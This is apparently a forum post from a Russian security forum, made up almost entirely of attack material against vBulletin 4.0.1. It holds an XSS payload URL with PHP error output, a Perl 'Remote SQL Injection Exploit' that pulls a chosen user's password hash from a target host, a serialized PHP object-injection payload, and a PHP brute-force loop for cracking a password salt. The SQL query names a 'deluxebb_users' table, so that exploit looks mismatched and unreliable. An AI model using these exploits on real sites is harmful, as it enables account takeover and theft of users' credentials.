ANTICHAT — форум по информационной безопасности, OSINT и технологиям

localhost/vb/calendar.php?do[]=[]add&[]type=[]recur&c=[]%22%3E%3Cscript%3Ealert%28/xss/%29%3C/script%3E

Warning: trim() expects parameter 1 to be string, array given in C:\xampp\htdocs\vb\includes\class_core.php on line 1651

http://localhost/vb/forumdisplay.php?do[]

Unable to add cookies, header already sent.
File: C:\xampp\htdocs\vb\includes\class_core.php
Line: 3277

Warning: trim() expects parameter 1 to be string, array given in C:\xampp\htdocs\vb\includes\class_core.php on line 1651

#!/usr/bin/perl 
 
use IO::Socket; 
 
 
print q{ 
#######################################################################
#    vBulletin™ Version 4.0.1 Remote SQL Injection Exploit            #
#                      By indoushka                                   #
#                     www.iq-ty.com/vb                                #
#               Souk Naamane  (00213771818860)                        #
#           Algeria Hackerz (indoushka@hotmail.com)                   # 
#          Dork: Powered by vBulletin™ Version 4.0.1                  #            
####################################################################### 
}; 
 
if (!$ARGV[2]) { 
 
print q{ 
	Usage: perl  VB4.0.1.pl host /directory/ victim_userid 
 
       perl  VB4.0.1.pl www.vb.com /forum/ 1 
 
 
}; 
 
} 
 
 
$server = $ARGV[0]; 
$dir    = $ARGV[1]; 
$user   = $ARGV[2]; 
$myuser = $ARGV[3]; 
$mypass = $ARGV[4]; 
$myid   = $ARGV[5]; 
 
print "------------------------------------------------------------------------------------------------\r\n"; 
print "[>] SERVER: $server\r\n"; 
print "[>]    DIR: $dir\r\n"; 
print "[>] USERID: $user\r\n"; 
print "------------------------------------------------------------------------------------------------\r\n\r\n"; 
 
$server =~ s/(http:\/\/)//eg; 
 
$path  = $dir; 
$path .= "misc.php?sub=profile&name=0')+UNION+SELECT+0,pass,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0+FROM%20deluxebb_users%20WHERE%20(uid= '".$user ; 
 
 
print "[~] PREPARE TO CONNECT...\r\n"; 
 
$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$server", PeerPort => "80") || die "[-] CONNECTION FAILED"; 
 
print "[+] CONNECTED\r\n"; 
print "[~] SENDING QUERY...\r\n"; 
print $socket "GET $path HTTP/1.1\r\n"; 
print $socket "Host: $server\r\n"; 
print $socket "Accept: */*\r\n"; 
print $socket "Connection: close\r\n\r\n"; 
print "[+] DONE!\r\n\r\n"; 
 
 
 
print "--[ REPORT ]------------------------------------------------------------------------------------\r\n"; 
while ($answer = <$socket>) 
{ 
 
 if ($answer =~/(\w{32})/) 
{ 
 
  if ($1 ne 0) { 
   print "Password is: ".$1."\r\n"; 
print "--------------------------------------------------------------------------------------\r\n"; 
 
      } 
exit(); 
} 
 
} 
print "------------------------------------------------------------------------------------------------\r\n";

$temp = unserialize($check);
if ($temp['do'] == 'doenterpwd')
{
	$vbulletin->GPC['postvars'] = '';
}

a:2:{s:2:"do";s:2:"do";s:3:"obj";O:11:"vB_Shutdown":1:{s:8:"shutdown";a:1:{i:0;s:7:"phpinfo";}}}

$c = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ_'; // 36 chars
//							20
$inp = intval(@$argv[1]);

$salt = 'VBF';

for ($a1 = $inp; $a1 <= 35; $a1++)
{
	$salt[3] = $c[$a1];
	for ($a2 = 0; $a2 <= 35; $a2++)
	{
		$salt[4] = $c[$a2];
		for ($a3 = 0; $a3 <= 35; $a3++)
		{
			$salt[5] = $c[$a3];
			for ($a4 = 0; $a4 <= 35; $a4++)
			{
				$salt[6] = $c[$a4];
				echo $salt."\n";
				for ($a5 = 0; $a5 <= 35; $a5++)
				{
					$salt[7] = $c[$a5];
					for ($a6 = 0; $a6 <= 35; $a6++)
					{
						$salt[8] = $c[$a6];
						for ($a7 = 0; $a7 <= 35; $a7++)
						{
							$salt[9] = $c[$a7];
							if (sha1('a-1-{i-3_i-1267278281_}' . sha1($salt) ) === 'f544eb9368b8ac964d27534650bff240510eb278')
								die('Found: '.$salt);
						}
					}
				}
			}
		}
	}
}